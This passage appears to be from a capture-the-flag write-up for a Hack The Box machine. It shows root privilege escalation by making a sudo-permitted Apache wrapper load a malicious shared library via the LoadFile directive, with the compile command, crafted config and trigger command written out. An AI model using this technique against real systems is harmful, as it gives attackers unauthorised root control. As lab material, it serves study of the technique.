Unlike LoadModule (but we can still use it according to the previous primitive, by placing the malicious library under "/home/mark/conf"), which loads an Apache-specific .so module, LoadFile is a much more primitive beast.

Apache
LoadFile /absolute/path/to/lib.so
  • Behavior: Apache calls dlopen() on that path before continuing startup.
  • Purpose: originally, it let admins pre-load system libraries (like libxml2.so) that third-party modules might depend on.
  • Gotcha: Apache doesn't check what the library does on load. For a classic malicious .so, when we plant a constructor function (__attribute__((constructor)) in C), that code executes immediately as root.

So effectively: LoadFile = run arbitrary root code hidden in a shared object.

First, put a malicious library libpwn.so in a world-readable location (e.g., /tmp/libpwn.so). I've parked my preferred variant in this repository from a recent engagement; compile it directly on-target to produce a shared object:

Bash
gcc -shared -fPIC -o /tmp/libpwn.so libpwn.c

Craft a minimal config inside the allowed cage:

Bash
cat > /home/mark/confs/libpwn.conf <<'EOF'
ServerRoot "/etc/apache2"
PidFile "/var/run/apache2/apache2.pid"
Listen 31340
LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so

# [!] Malicious library planted
LoadFile /tmp/libpwn.so

ErrorLog /dev/stdout
EOF

Trigger with the privileged wrapper:

Bash
sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/libpwn.conf

Apache spawns → parses our config → sees LoadFiledlopen("/tmp/libpwn.so"):

htb_guardian_34

Rooted.